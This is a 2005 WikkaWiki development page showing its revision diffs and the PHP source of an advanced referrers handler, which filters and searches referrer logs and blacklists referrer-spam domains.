$menu .= '<li>'.$m_sites_global.'</li>';
$menu .= '<li>'.$m_blacklist.'</li>';
$menu .= "\n".'</ul>'."\n";
echo '<h3>'.$title.'</h3>'."\n";
echo '<h4>'.$total.'</h4>'."\n";
echo '<h4>'.$result.'</h4>'."\n";


Revision [8564]

Edited on 2005-05-28 10:52:03 by JavaWoman [move to subcategory]
Additions:
CategoryDevelopmentHandlers
Deletions:
CategoryDevelopment


Revision [8441]

Edited on 2005-05-24 19:41:53 by JavaWoman [small bugfix]
Additions:
if ($days != DAYS_MAX)
if ($days != DAYS_MAX)
Deletions:
if ($days != $max_days)
if ($days != $max_days)


Revision [8294]

Edited on 2005-05-18 14:27:09 by JavaWoman [minor tweaks]
Additions:
$form = $this->FormOpen('referrers','','POST'); # @@@ add parameter for id
$form = $this->FormOpen('review_blacklist','','POST'); # @@@ add parameter for id
Deletions:
$form = $this->FormOpen('referrers','','post'); # @@@ add parameter for id
$form = $this->FormOpen('review_blacklist','','post'); # @@@ add parameter for id


Revision [8237]

Edited on 2005-05-17 08:41:52 by JavaWoman [minor code tweak (consistency)]
Deletions:
define('MENU_REFERRERS_PAGE',sprintf(MENU_REFERRERS,$tag));
define('MENU_SITES_PAGE',sprintf(MENU_SITES,$tag));
define('MENU_REFERRERS_GLOBAL',sprintf(MENU_REFERRERS,'this site'));
define('MENU_SITES_GLOBAL',sprintf(MENU_SITES,'this site'));


Revision [8077]

Edited on 2005-05-13 10:37:23 by JavaWoman [code update / minor tweaks]
Additions:
After DarTar's first version published on this page, we discussed some ideas, and then started completely revising all handlers dealing with referrers and the blacklist in close cooperation (working together on code on IRC is fun!). The original ##referrers_sites## handler is now completely integrated with the ##referrers## handler, and also the ##review_blacklist## and ##delete_referrer## handlers have been modified to integrate seamlessly. The details are below, and the new version will soon be installed as a beta feature on this site, too. --JavaWoman
The method ##""LoadReferrers()""## (from line **754**) is obsolete now. You can comment it out, or remove it, or even leave it in place, but it isn't used any more. All queries are completely dynamically generated depending on the "view" requested and the selection criteria given.
* - remove LoadReferrers() from core (commented out now)
* - transfer filter parameters as well so we cen redirect to the exact view we came from
define('LIST_RESULT_COUNTER_REFERRERS','Filtered result: %d referrers linking to %s'); # @@@ does not take account of singular
define('LIST_RESULT_COUNTER_SITES','Filtered result: %d domains linking to %s'); # @@@ does not take account of singular
define('NONE_NOTE_REFERRERS','Filtered result: No referrers found linking to %s');
define('NONE_NOTE_SITES','Filtered result: No domains found linking to %s');
if (1 == $global)
if ('' != $par) $par .= '&';
$par .= 'global=1';
if (1 == $sites)
if ('' != $par) $par .= '&';
$par .= 'sites=1';
if (isset($refdel)) $rptblacklisted = sprintf(REPORT_BLACKLIST,$refdel,$bladd);
// results
$tot = $totalrefs['total'];
$total = ($sites) ? sprintf(TOTAL_SITES,$tot,$target) : sprintf(TOTAL_REFERRERS,$tot,$target);
$creferrers = count($referrers);
$result = ($sites) ? sprintf(LIST_RESULT_COUNTER_SITES,$creferrers,$target) : sprintf(LIST_RESULT_COUNTER_REFERRERS,$creferrers,$target);
// menu elements: prevent wrapping within element (these *don't* use current target!
$menu_referrers_page = str_replace(' ',' ',MENU_REFERRERS_PAGE);
$menu_sites_page = str_replace(' ',' ',MENU_SITES_PAGE);
$menu_referrers_global = str_replace(' ',' ',MENU_REFERRERS_GLOBAL);
$menu_sites_global = str_replace(' ',' ',MENU_SITES_GLOBAL);
$menu_blacklist = str_replace(' ',' ',MENU_BLACKLIST);
echo '<p class="notes">Doesn\'t look right with your skin? See <a href="http://wikka.jsnx.com/AdvancedReferrersHandler">AdvancedReferrersHandler</a>.<!--temporary for site only-->'."\n";
if ($isAdmin && isset($refdel)) echo '<p class="notes">'.$rptblacklisted.'</p>';
define('LIST_RESULT_COUNTER_SITES','Filtered result: %d domains'); # @@@ does not take account of singular
define('NONE_NOTE','Filtered result: No blacklisted domains found');
if (isset($numbldeleted)) $rptremoved = sprintf(REPORT_REMOVED,$numbldeleted);
// results
$tot = $totalrefs['total'];
$total = sprintf(TOTAL_BL,$tot);
$cdomains = count($blacklist);
$result = sprintf(LIST_RESULT_COUNTER_SITES,$cdomains);
// menu elements: prevent wrapping within element (these *don't* use current target!
$menu_referrers_page = str_replace(' ',' ',MENU_REFERRERS_PAGE);
$menu_sites_page = str_replace(' ',' ',MENU_SITES_PAGE);
$menu_referrers_global = str_replace(' ',' ',MENU_REFERRERS_GLOBAL);
$menu_sites_global = str_replace(' ',' ',MENU_SITES_GLOBAL);
$menu_blacklist = str_replace(' ',' ',MENU_BLACKLIST);
if ($isAdmin && isset($numbldeleted)) echo '<p class="notes">'.$rptremoved.'</p>';
echo '<p><em>'.NONE_NOTE.'</em></p>'."\n";
* - transfer filter parameters as well so we cen redirect to the exact view we came from
if (1 == $global)
if ('' != $par) $par .= '&';
$par .= 'global=1';
if (1 == $sites)
if ('' != $par) $par .= '&';
$par .= 'sites=1';
#$hspammer = mysql_real_escape_string('//'.$spammer.'/'); # string to recognize host in referrers table
$hspammer = mysql_real_escape_string('//'.$spammer); # string to recognize host in referrers table (trailing / removed: some referrers don't have one
echo '<a href="'.$this->Href($redirect,'',str_replace('&','&',$par)).'">Back</a>';
width: 5em;
Deletions:
After DarTar's first version published on this page, we discussed some ideas, and then started completely revising all handlers dealing with referrers and the blacklist in close cooperation (working together on code on IRC is fun!). The original ##referrers_sites## handler is now completely integrated with teh ##referrers## handler, and also the ##review_blacklist## and ##delete_referrer## handlers have been modified to integrate seamlessly. The details are below, and the new version will soon be installed as a beta feature on this site, too. --JavaWoman
The method ##LoadReferrers()## (from line **754**) is obsolete now. You can comment it out, or remove it, or even leave it in place, but it isn't used any more. All queries are completely dynamically generated depending on the "view" requested and the selection criteria given.
* - remove LoadReferrers() from core
define('LIST_RESULT_COUNTER_REFERRERS','Result: %d referrers linking to %s'); # @@@ does not take account of singular
define('LIST_RESULT_COUNTER_SITES','Result: %d domains linking to %s'); # @@@ does not take account of singular
define('NONE_NOTE_REFERRERS','No referrers found linking to %s');
define('NONE_NOTE_SITES','No domains found linking to %s');
if ('' != $par) $par .= '&';
if (1 == $global) $par .= 'global=1';
if ('' != $par) $par .= '&';
if (1 == $sites) $par .= 'sites=1';
if (isset($refdel)) $rptblacklisted = sprintf(REPORT_BLACKLIST,$refdel,$bladd);
$tot = $totalrefs['total'];
$total = ($sites) ? sprintf(TOTAL_SITES,$tot,$target) : sprintf(TOTAL_REFERRERS,$tot,$target);
#$result = ($sites) ? sprintf(LIST_RESULT_COUNTER_SITES,$creferrers,$tot,$target) : sprintf(LIST_RESULT_COUNTER_REFERRERS,$creferrers,$tot,$target);
$creferrers = count($referrers);
$result = ($sites) ? sprintf(LIST_RESULT_COUNTER_SITES,$creferrers,$target) : sprintf(LIST_RESULT_COUNTER_REFERRERS,$creferrers,$target);
// menu elements: prevent wrapping within element (these *don't* use current target!
$menu_referrers_page = str_replace(' ',' ',MENU_REFERRERS_PAGE);
$menu_sites_page = str_replace(' ',' ',MENU_SITES_PAGE);
$menu_referrers_global = str_replace(' ',' ',MENU_REFERRERS_GLOBAL);
$menu_sites_global = str_replace(' ',' ',MENU_SITES_GLOBAL);
$menu_blacklist = str_replace(' ',' ',MENU_BLACKLIST);
if (isset($refdel)) echo '<p class="notes">'.$rptblacklisted.'</p>';
#echo '<p><em>'.(($sites) ? sprintf(NONE_NOTE_SITES,$tot,$target) : sprintf(NONE_NOTE_REFERRERS,$tot,$target)).'</em></p>'."\n";
define('LIST_RESULT_COUNTER_SITES','Result: %d domains'); # @@@ does not take account of singular
define('NONE_NOTE','Blacklist is empty');
if (isset($numbldeleted)) $rptremoved = sprintf(REPORT_REMOVED,$numbldeleted);
$tot = $totalrefs['total'];
$total = sprintf(TOTAL_BL,$tot);
$cdomains = count($blacklist);
#$result = sprintf(LIST_RESULT_COUNTER_SITES,$cdomains,$tot);
$result = sprintf(LIST_RESULT_COUNTER_SITES,$cdomains);
// menu elements: prevent wrapping within element (these *don't* use current target!
$menu_referrers_page = str_replace(' ',' ',MENU_REFERRERS_PAGE);
$menu_sites_page = str_replace(' ',' ',MENU_SITES_PAGE);
$menu_referrers_global = str_replace(' ',' ',MENU_REFERRERS_GLOBAL);
$menu_sites_global = str_replace(' ',' ',MENU_SITES_GLOBAL);
$menu_blacklist = str_replace(' ',' ',MENU_BLACKLIST);
if (isset($numbldeleted)) echo '<p class="notes">'.$rptremoved.'</p>';
#echo '<p><em>'.sprintf(NONE_NOTE,$tot).'</em></p>'."\n";
echo '<p><em>'.sprintf(NONE_NOTE).'</em></p>'."\n";
if ('' != $par) $par .= '&';
if (1 == $global) $par .= 'global=1';
if ('' != $par) $par .= '&';
if (1 == $sites) $par .= 'sites=1';
$hspammer = mysql_real_escape_string('//'.$spammer.'/'); # string to recognize host in referrers table
echo '<a href="'.$this->Href($redirect,'',$par).'">Back</a>';
width: 4em;


Revision [8060]

Edited on 2005-05-12 22:24:59 by JavaWoman [minor (stylesheet in place)]
Additions:
Here's an example of what the new interface looks like:
Deletions:
Here's an example of how the new interface looks like (it will look better once the extended stylesheet is in place!):


Revision [8055]

Edited on 2005-05-12 21:30:10 by JavaWoman [minor code fix]

No Differences

Revision [8054]

Edited on 2005-05-12 21:24:49 by JavaWoman [minor]
Additions:
After DarTar's first version published on this page, we discussed some ideas, and then started completely revising all handlers dealing with referrers and the blacklist in close cooperation (working together on code on IRC is fun!). The original ##referrers_sites## handler is now completely integrated with teh ##referrers## handler, and also the ##review_blacklist## and ##delete_referrer## handlers have been modified to integrate seamlessly. The details are below, and the new version will soon be installed as a beta feature on this site, too. --JavaWoman
Deletions:
After DarTar's first version published on this page, we discussed some ideas, and then started completely revising all handlers dealing with referrers and the blacklist in close cooperation (working together on code on IRC is fun!). The original ##referrers_sites## handler is now completely integrated with teh ##referrers## handler, and also the ##review_blacklist## and ##delete_referrer## handlers have been modified to integrate seamlessly. The details are below, and the new versiosn will soon be installed as a beta feature on this site, too. --JavaWoman


Revision [8053]

Edited on 2005-05-12 21:21:32 by JavaWoman [minor]
Additions:
~-If you're looking for how to adapt the styling of the user interface to match your own skin, see **8. ##css/refmenu_col.css##** at the end of the page.
>>This is the development page for an advanced referrers handler.::c::
Deletions:
~-If you're looking for how to adapt the styling of the user interface to match your own skin, see **8. ##css/refmenu_col.css##** at the end of the page.>>This is the development page for an advanced referrers handler.::c::


Revision [8052]

Edited on 2005-05-12 20:59:40 by JavaWoman [version 0.8 ... the lot!]
Deletions:
define('RESULT_TOTAL','(%d total domains)'); # @@@ does not take account of singular
define('LIST_RESULT_COUNTER_SITES','Result: %d domains '.RESULT_TOTAL); # @@@ does not take account of singular
define('NONE_NOTE','Blacklist is empty '.RESULT_TOTAL);


Revision [8051]

Edited on 2005-05-12 20:53:12 by JavaWoman [version 0.8 ... the lot!]
Additions:
~-Documentation: ""AdvancedReferrersHandlerInfo"".
~-If you're looking for how to adapt the styling of the user interface to match your own skin, see **8. ##css/refmenu_col.css##** at the end of the page.>>This is the development page for an advanced referrers handler.::c::
Referrer lists generated by WikkaWiki on high-traffic servers are likely to become unmanageable, due to their ever growing size. Of course you can limit the volume of the referrers by changing the ##referrers_purge_time## in the ConfigurationOptions, so referrers older then n days are purged from the database. To allow a better management of the referrer list without purging the DB, I've modified the referrer handlers to allow //searching// and //filtering//. --DarTar
After DarTar's first version published on this page, we discussed some ideas, and then started completely revising all handlers dealing with referrers and the blacklist in close cooperation (working together on code on IRC is fun!). The original ##referrers_sites## handler is now completely integrated with teh ##referrers## handler, and also the ##review_blacklist## and ##delete_referrer## handlers have been modified to integrate seamlessly. The details are below, and the new versiosn will soon be installed as a beta feature on this site, too. --JavaWoman
Here's an example of how the new interface looks like (it will look better once the extended stylesheet is in place!):
""<div style="border:1px solid black; padding: 10pt">
<h3>External pages linking to HomePage (last 7 days)</h3>
<p><em>Note to spammers: This page is not indexed by search engines, so don't waste your time.</em></p>
<!--<p class="notes">Doesn't look right with your skin? See <a href="http://wikka.jsnx.com/AdvancedReferrersHandler">AdvancedReferrersHandler</a>.--><!--temporary for site only-->
<div class="refmenu"><ul class="menu">
<li>Referrers to HomePage</li><li><a href="http://pciki.javawoman/HomePage/referrers?sites=1">Domains linking to HomePage</a></li><li><a href="http://pciki.javawoman/HomePage/referrers?global=1">Referrers to this site</a></li><li><a href="http://pciki.javawoman/HomePage/referrers?global=1&sites=1">Domains linking to this site</a></li><li><a href="http://pciki.javawoman/HomePage/review_blacklist">Blacklisted sites</a></li>
</ul>
</div><br class="clear" />
<h4>Total: 1 referrers linking to HomePage</h4>
<div id="refform"><form action="http://pciki.javawoman/HomePage/referrers" method="post">
<!--<fieldset class="hidden">
<input type="hidden" name="global" value="0" />
<input type="hidden" name="sites" value="0" />
</fieldset>-->
<fieldset>
<legend>Filter view:</legend>
<label for="qo" class="mainlabel">URL:</label>
<select name="qo" id="qo" title="Select search option">
<option value="1" selected="selected">containing</option>
<option value="0">not containing</option>
</select>
<label for="q">string</label>
<input type ="text" name="q" id="q" title="Enter a search string" size="10" maxlength="50" /><br />
<label for="ho" class="mainlabel">Hits:</label>
<select name="ho" id="ho" title="Select filter option">
<option value="1" selected="selected">at least</option>
<option value="0">no more than</option>
</select>
<input type ="text" name="h" id="h" title="Enter number of hits" size="5" maxlength="5" value="1" />
<label for="h">hits</label><br />
<label for="days" class="mainlabel">Period:</label>
<select name="days" id="days" title="Select period in days">
<option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option><option value="6">6</option><option value="7" selected="selected">7</option><option value="14">14</option><option value="21">21</option><option value="28">28</option><option value="30">30</option></select>
<label for="h">days</label>
</fieldset>
<input type="submit" value="Show referrers" accesskey="r" />
</form>
<h4>Result: 1 referrers linking to HomePage</h4>
<table id="reflist" summary="Filtered list of referrers, with hits, sorted by number of hits">
<thead><tr><th class="hits" scope="col">Hits</th><th class="refs" scope="col">Referrers</th></tr>
</thead>
<tbody>
<tr><td class="hits">1</td><td class="refs"><a href="http://javawoman.com/">http://javawoman.com/</a></td></tr>
</tbody>
</table>
<div class="refmenu"><ul class="menu">
<li>Referrers to HomePage</li><li><a href="http://pciki.javawoman/HomePage/referrers?sites=1">Domains linking to HomePage</a></li><li><a href="http://pciki.javawoman/HomePage/referrers?global=1">Referrers to this site</a></li><li><a href="http://pciki.javawoman/HomePage/referrers?global=1&sites=1">Domains linking to this site</a></li><li><a href="http://pciki.javawoman/HomePage/review_blacklist">Blacklisted sites</a></li>
</ul>
</div><br class="clear" />
</div>""
Current version: **0.8**
~-seamless integration of the handlers
~-valid XHTML (some of the old code wasn't)
~-accessible form and results table
~-internationalization-ready
~-see docblocks in the code
===1. ##wikka.php##===
The method ##LoadReferrers()## (from line **754**) is obsolete now. You can comment it out, or remove it, or even leave it in place, but it isn't used any more. All queries are completely dynamically generated depending on the "view" requested and the selection criteria given.
===2. ##handlers/page/referrers_sites.php##===
This handler file is now obsolete as well; its functionality is completely integrated with the new **referrers ** handler (below). It's best to remove or rename this file since it will not work together with the new handlers.
===3. ##handlers/page/referrers.php##===
This has undergone a complete overhaul by both DarTar and JavaWoman. See the docblock and various comments in the code for details. Since it's still beta code, there is some debug code present as well - that will disappear by the time we get to version 1.0 (see the @todo list in the docblock).
* Display, filter and search a list of referrers or referring sites for the current page or the site as a whole.
* add global=1 to specify referrers for the site instead of the current page
* add sites=1 to specify referrerring domains instead of full URLs
* This handler allows logged-in users to display, filter and search the referrer list for
* @package Handlers
* @subpackage DatabaseHandlers
* @name Referrers
* @author {@link http://wikka.jsnx.com/DarTar Dario Taraborelli} - code cleanup, search/filter functionality added.
* @author {@link http://wikka.jsnx.com/JavaWoman JavaWoman} - more code cleanup, accessibility, integration with referrers_sites
* @version 0.8
* @since Wikka 1.1.6.X
* @todo for 1.0:
* - clean up debug code
* - remove LoadReferrers() from core
* - configurable choice hostname (NAME_GLOBAL) or 'this site' (config, installer)
* - configurable parameters for building days dropdown (config, installer)
* - configurable limit to express days as hours (config, installer)
* - build an index on the referrer column in the referrers table (installer)
* later:
* - (global) icons to represent each of the five views, small and larger versions (menu/page)
* - adapt FormOpen() to accept id; then fix form kluge here and in stylesheet
* - adapt text definitions to take singular-plural into account
* - add paging
* - turn list into form with checkboxes to allow mass blacklisting
* default: NULL;
* @input integer $h optional: number of hits used to filter the referrers;
* 1: search for referrers with at least $h hits;
* 0: search for referrers with no more than $h hits;
* @input integer $days optional: number of days used to filter the referrers;
* @input integer $sites optional: switches between referring urls and domains
* 1: display referring sites (domains);
* 0: display referrers (URLs);
* the default can be overridden by providing a GET/POST parameter 'sites'
* @input integer $refdel optional: number of referrer records deleted
* @inpur integer $bladd optional: number of blacklist records added
// Utilities
* Build an array of numbers consisting of 'ranges' with increasing step size in each 'range'.
* A list of numbers like this is useful for instance for a dropdown to choose
* a period expressed in number of days: a difference between 2 and 5 days may
* be significant while that between 92 and 95 may not be.
* @author {@link http://wikka.jsnx.com/JavaWoman JavaWoman}
* @copyright Copyright © 2005, Marjolein Katsma
* @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
* @version 1.0
* @param mixed $limits required: single integer or array of integers;
* defines the upper limits of the ranges as well as the next step size
* @param int $max required: upper limit for the whole list
* (will be included if smaller than the largest limit)
* @param int $firstinc optional: increment for the first range; default 1
* @return array resulting list of numbers
function optionRanges($limits, $max, $firstinc = 1)
// initializations
if (is_int($limits)) $limits = array($limits);
if ($firstinc < 1) $firstinc = 1;
$opts = array();
$inc = $firstinc;
// first element is the first increment
$opts[] = $inc;
// each $limit is the upper limit of a 'range'
foreach ($limits as $limit)
for ($i = $inc + $inc; $i <= $limit && $i < $max; $i += $inc)
$opts[] = $i;
// we quit at $max, even if there are more $limit elements
if ($limit >= $max)
// add $max to the list; then break out of the loop
$opts[] = $max;
break;
// when $limit is reached, it becomes the new start and increment for the next 'range'
$inc = $limit;
return $opts;
// constants
define('DEBUG',FALSE); # @@@ set TRUE to generate debugging output
define('SEARCH_LIKE','LIKE'); # search string operator
define('SEARCH_UNLIKE','NOT LIKE'); # search string operator
define('HITS_DEFAULT', '1'); # (was 0 for referrers, 1 for sites)
define('HITS_MIN_OPTION', '>=');
define('HITS_MAX_OPTION', '<=');
define('HOURS_LIMIT',2); # days expressed as hours @@@ could be made configurable
define('DAYS_MAX', $this->GetConfigValue('referrers_purge_time'));
define('DAYS_DEFAULT', '7'); # default period to retrieve @@@ make configurable
$days_limits = array(7,30,90,365); # ranges for days dropdown @@@ make configurable
// -------------------------------------
// initialize parameters
$q = NULL; # search string
$qo = 1; # search string option
$h = HITS_DEFAULT; # hits number
$ho = 1; # hits option
$days = DAYS_DEFAULT; # period selection
$global = FALSE; # global (site) or this page only
$sites = FALSE; # referrers or referring sites
$refdel = NULL; # referrer records deleted
$bladd = NULL; # blacklist records added
// -------------------------------------
// initialize internal variables
$string_option = SEARCH_LIKE; # LIKE or NOT LIKE
$hits_option = HITS_MIN_OPTION; # MIN (>=) or MAX (<=)
$tag = $this->GetPageTag();
$isAdmin = $this->IsAdmin();
$loggedin = ($isAdmin) ? TRUE : (bool)$this->GetUser();
$pre = $this->config['table_prefix'];
$par = '';
$rows = 0;
// -------------------------------------
// User-interface strings
define('NAME_GLOBAL',$this->GetConfigValue('wakka_name'));
define('TITLE_REFERRERS','External pages linking to %s');
define('TITLE_SITES','Domains linking to %s');
define('REPORT_BLACKLIST','Referrer records removed: %d; blacklist records added: %d');
define('TOTAL_REFERRERS','Total: %d referrers linking to %s');
define('TOTAL_SITES','Total: %d referrers linking to %s');
// current target
# you can use NAME_GLOBAL instead of 'this site' if the site name is short enough
# @@@ JW: choice between 'this site' and NAME_GLOBAL could be set via configuration (later)
define('TARGET_GLOBAL','this site');
define('TARGET_PAGE',$tag);
// menus don't use current target but *possible* targets
define('MENU_REFERRERS','Referrers to %s');
define('MENU_SITES','Domains linking to %s');
define('MENU_REFERRERS_PAGE',sprintf(MENU_REFERRERS,TARGET_PAGE));
define('MENU_SITES_PAGE',sprintf(MENU_SITES,TARGET_PAGE));
define('MENU_REFERRERS_GLOBAL',sprintf(MENU_REFERRERS,TARGET_GLOBAL));
define('MENU_SITES_GLOBAL',sprintf(MENU_SITES,TARGET_GLOBAL));
define('MENU_BLACKLIST','Blacklisted sites');
define('FORM_LEGEND','Filter view:');
define('FORM_URL_OPT_REFERRERS','URL:');
define('FORM_URL_OPT_SITES','Domain:');
define('FORM_URL_OPT_TITLE','Select search option');
define('FORM_URL_OPT_1','containing');
define('FORM_URL_OPT_0','not containing');
define('FORM_URL_STRING_LABEL','string');
define('FORM_URL_STRING_TITLE','Enter a search string');
define('FORM_HITS_OPT_LABEL','Hits:');
define('FORM_HITS_OPT_TITLE','Select filter option');
define('FORM_HITS_OPT_1','at least');
define('FORM_HITS_OPT_0','no more than');
define('FORM_HITS_NUM_LABEL','hits');
define('FORM_HITS_NUM_TITLE','Enter number of hits');
define('FORM_DAYS_OPT_LABEL','Period:');
define('FORM_DAYS_OPT_TITLE','Select period in days');
define('FORM_DAYS_NUM_LABEL','days');
define('FORM_SUBMIT_URLS','Show referrers');
define('FORM_SUBMIT_SITES','Show referring domains');
define('LIST_PERIOD_HOURS',' (last %d hours)');
define('LIST_PERIOD_DAYS',' (last %d days)');
define('LIST_SUMMARY_REFERRERS','Filtered list of referrers, with hits%s, sorted by number of hits');
define('LIST_SUMMARY_SITES','Filtered list of referring sites, with hits%s, sorted by number of hits');
define('LIST_HEAD_HITS','Hits');
define('LIST_HEAD_ACTION','Action');
define('LIST_HEAD_LIST_REFERRERS','Referrers');
define('LIST_HEAD_LIST_SITES','Referring hosts');
define('LIST_REF_UNKNOWN','unknown'); # make sure the *exact* same string is used in the whitelist definition (delete_referrer.php)
define('LIST_ACTION_DESC',' and links to blacklist spammers');
define('LIST_ACTION_BLACKLIST','Blacklist');
define('LIST_ACTION_BLACKLIST_TITLE','Blacklist this domain');
define('SPAM_NOTE','Note to spammers: This page is not indexed by search engines, so don\'t waste your time.');
define('LOGIN_NOTE','You need to login to see referring sites.');
// show result counts for target
define('LIST_RESULT_COUNTER_REFERRERS','Result: %d referrers linking to %s'); # @@@ does not take account of singular
define('LIST_RESULT_COUNTER_SITES','Result: %d domains linking to %s'); # @@@ does not take account of singular
// show 'no result' summary for target
define('NONE_NOTE_REFERRERS','No referrers found linking to %s');
define('NONE_NOTE_SITES','No domains found linking to %s');
// -------------------------------------
// fetch and validate parameters
// get query string and comparison method
if (isset($_POST['q']))
$tq = trim(strip_tags($_POST['q']));
if ('' != $tq)
$q = mysql_real_escape_string($tq);
if (isset($_POST['qo']))
$qo = ($_POST['qo'] == '1') ? 1 : 0;
$string_option = ($qo == 1) ? SEARCH_LIKE : SEARCH_UNLIKE;
// get hits and min or max criteria
if (isset($_POST['h']))
$h = (is_numeric($_POST['h'])) ? abs((int)$_POST['h']) : HITS_DEFAULT; # cast to positive integer if numeric
if (isset($_POST['ho']))
$ho = ($_POST['ho'] == '1') ? 1 : 0;
$hits_option = ($ho == 1) ? HITS_MIN_OPTION : HITS_MAX_OPTION;
// get period, not longer than purge time
if (isset($_POST['days']))
$days = (is_numeric($_POST['days'])) ? min(abs((int)$_POST['days']),DAYS_MAX) : DAYS_DEFAULT;
// get search target: page or site (global)
if (isset($_POST['global']))
$global = (bool)$_POST['global'];
elseif (isset($_GET['global']))
$global = (bool)$_GET['global'];
$iglobal = (int)$global;
// get precision: URLS (referrers) or referring sites (domains)
if (isset($_POST['sites']))
$sites = (bool)$_POST['sites'];
elseif (isset($_GET['sites']))
$sites = (bool)$_GET['sites'];
$isites = (int)$sites;
//get reported values (no validation needed, just cast to integer)
if (isset($_GET['refdel']))
$refdel = (int)$_GET['refdel'];
$bladd = (isset($_GET['bladd'])) ? $bladd = (int)$_GET['bladd'] : 0;
// derive parameters for 'current' links
if ('' != $par) $par .= '&';
if (1 == $global) $par .= 'global=1';
if ('' != $par) $par .= '&';
if (1 == $sites) $par .= 'sites=1';
// -------------------------------------
// build query from chunks depending on criteria chosen
if ($loggedin)
$query = 'SELECT referrer';
if ($sites)
// add 'host' = domain extracted from referrring URL using this algorithm:
// find first char after http:// : LOCATE('//',referrer)+2
// find first / after this: LOCATE('/',referrer,(LOCATE('//',referrer)+2)-1
// calculate length: (LOCATE('/',referrer,(LOCATE('//',referrer)+2)-1) - (LOCATE('//',referrer)+2)
// get host (standard): SUBSTRING(referrer FROM (LOCATE('//',referrer)+2) FOR ((LOCATE('/',referrer,(LOCATE('//',referrer)+2)-1) - (LOCATE('//',referrer)+2)))
// *or*
// get host (MySQL-specific): SUBSTRING(SUBSTRING_INDEX(referrer,'/',3) FROM (LOCATE('//',referrer)+1))
$protocol_host = 'SUBSTRING_INDEX(referrer,"/",3)'; # protocol and host: everything before first single /
$start_host = 'LOCATE("//",referrer)+2'; # start position of host: after //
$query .= ', SUBSTRING('.$protocol_host.' FROM ('.$start_host.')) AS host';
// NOTE: COUNT() cannot use a derived column name but it *can* take an expression
$query .= ', COUNT(SUBSTRING('.$protocol_host.' FROM ('.$start_host.'))) AS num';
$query .= ' FROM '.$pre.'referrers';
if (!$global)
$query .= " WHERE page_tag = '".mysql_real_escape_string($tag)."'";
if ($days != $max_days)
$query .= (!strpos($query,'WHERE')) ? ' WHERE' : ' AND';
$query .= ' TO_DAYS(NOW()) - TO_DAYS(time) <= '.$days; # filter by period
$query .= ' GROUP BY host ';
if (isset($q))
$query .= ' HAVING host '.$string_option." '%".$q."%'"; # filter by string (derived column so we use HAVING)
if ($hits_option != HITS_MIN_OPTION || $h != 1)
$query .= (!strpos($query,'HAVING')) ? ' HAVING' : ' AND';
$query .= ' num '.$hits_option.' '.$h; # filter by hits number (derived column so we use HAVING)
else
$query = 'SELECT referrer';
$query .= ', COUNT(referrer) AS num';
$query .= ' FROM '.$pre.'referrers';
if (!$global)
$query .= " WHERE page_tag = '".mysql_real_escape_string($tag)."'";
if (isset($q))
$query .= (!strpos($query,'WHERE')) ? ' WHERE' : ' AND';
$query .= ' referrer '.$string_option." '%".$q."%'"; # filter by string
if ($days != $max_days)
$query .= (!strpos($query,'WHERE')) ? ' WHERE' : ' AND';
$query .= ' TO_DAYS(NOW()) - TO_DAYS(time) <= '.$days; # filter by period
$query .= ' GROUP BY referrer ';
if ($hits_option != HITS_MIN_OPTION || $h != 1)
$query .= ' HAVING num '.$hits_option.' '.$h; # filter by hits number (derived column so we use HAVING)
$query .= ' ORDER BY num DESC, referrer ASC'; # set order
// get total number of referrers (NOT records!)
$query_refcount = 'SELECT COUNT(DISTINCT(referrer)) AS total'; # @@@ referrer column should be indexed to make this really efficient
$query_refcount .= ' FROM '.$pre.'referrers';
if (!$global)
$query_refcount .= " WHERE page_tag = '".mysql_real_escape_string($tag)."'";
// -------------------------------------
// execute query (if logged in)
// @@@ NOTE: we don't use LoadReferrers any more since the query is now completely dynamically built
if ($loggedin)
// execute query
$referrers = $this->LoadAll($query);
$totalrefs = $this->LoadSingle($query_refcount);
// -------------------------------------
// build UI elements
// define current target
# you can use NAME_GLOBAL instead of 'this site' if the site name is short enough
# @@@ JW: choice between 'this site' and NAME_GLOBAL could be set via configuration (later)
$target = ($global) ? TARGET_GLOBAL : TARGET_PAGE;
// title
$title = ($sites) ? sprintf(TITLE_SITES,$target) : sprintf(TITLE_REFERRERS,$target);
$title .= ($days <= HOURS_LIMIT) ? sprintf(LIST_PERIOD_HOURS,24*$days) : sprintf(LIST_PERIOD_DAYS,$days);
if (isset($refdel)) $rptblacklisted = sprintf(REPORT_BLACKLIST,$refdel,$bladd);
$tot = $totalrefs['total'];
$total = ($sites) ? sprintf(TOTAL_SITES,$tot,$target) : sprintf(TOTAL_REFERRERS,$tot,$target);
#$result = ($sites) ? sprintf(LIST_RESULT_COUNTER_SITES,$creferrers,$tot,$target) : sprintf(LIST_RESULT_COUNTER_REFERRERS,$creferrers,$tot,$target);
$creferrers = count($referrers);
$result = ($sites) ? sprintf(LIST_RESULT_COUNTER_SITES,$creferrers,$target) : sprintf(LIST_RESULT_COUNTER_REFERRERS,$creferrers,$target);
// menu elements: prevent wrapping within element (these *don't* use current target!
$menu_referrers_page = str_replace(' ',' ',MENU_REFERRERS_PAGE);
$menu_sites_page = str_replace(' ',' ',MENU_SITES_PAGE);
$menu_referrers_global = str_replace(' ',' ',MENU_REFERRERS_GLOBAL);
$menu_sites_global = str_replace(' ',' ',MENU_SITES_GLOBAL);
$menu_blacklist = str_replace(' ',' ',MENU_BLACKLIST);
if ($loggedin)
// menu
if ($global)
$m_referrers_page = '<a href="'.$this->Href('referrers').'">'.$menu_referrers_page.'</a>';
$m_sites_page ='<a href="'.$this->Href('referrers','','sites=1').'">'.$menu_sites_page.'</a>';
$m_referrers_global = ($sites) ? '<a href="'.$this->Href('referrers','','global=1').'">'.$menu_referrers_global.'</a>' : $menu_referrers_global;
$m_sites_global = ($sites) ? $menu_sites_global : '<a href="'.$this->Href('referrers','','global=1&sites=1').'">'.$menu_sites_global.'</a>';
else
$m_referrers_page = ($sites) ? '<a href="'.$this->Href('referrers').'">'.$menu_referrers_page.'</a>' : $menu_referrers_page;
$m_sites_page = ($sites) ? $menu_sites_page : '<a href="'.$this->Href('referrers','','sites=1').'">'.$menu_sites_page.'</a>';
$m_referrers_global = '<a href="'.$this->Href('referrers','','global=1').'">'.$menu_referrers_global.'</a>';
$m_sites_global = '<a href="'.$this->Href('referrers','','global=1&sites=1').'">'.$menu_sites_global.'</a>';
$m_blacklist = '<a href="'.$this->Href('review_blacklist').'">'.$menu_blacklist.'</a>';
$menu = '<ul class="menu">'."\n";
$menu .= '<li>'.$m_referrers_page.'</li>';
$menu .= '<li>'.$m_sites_page.'</li>';
$menu .= '<li>'.$m_referrers_global.'</li>';
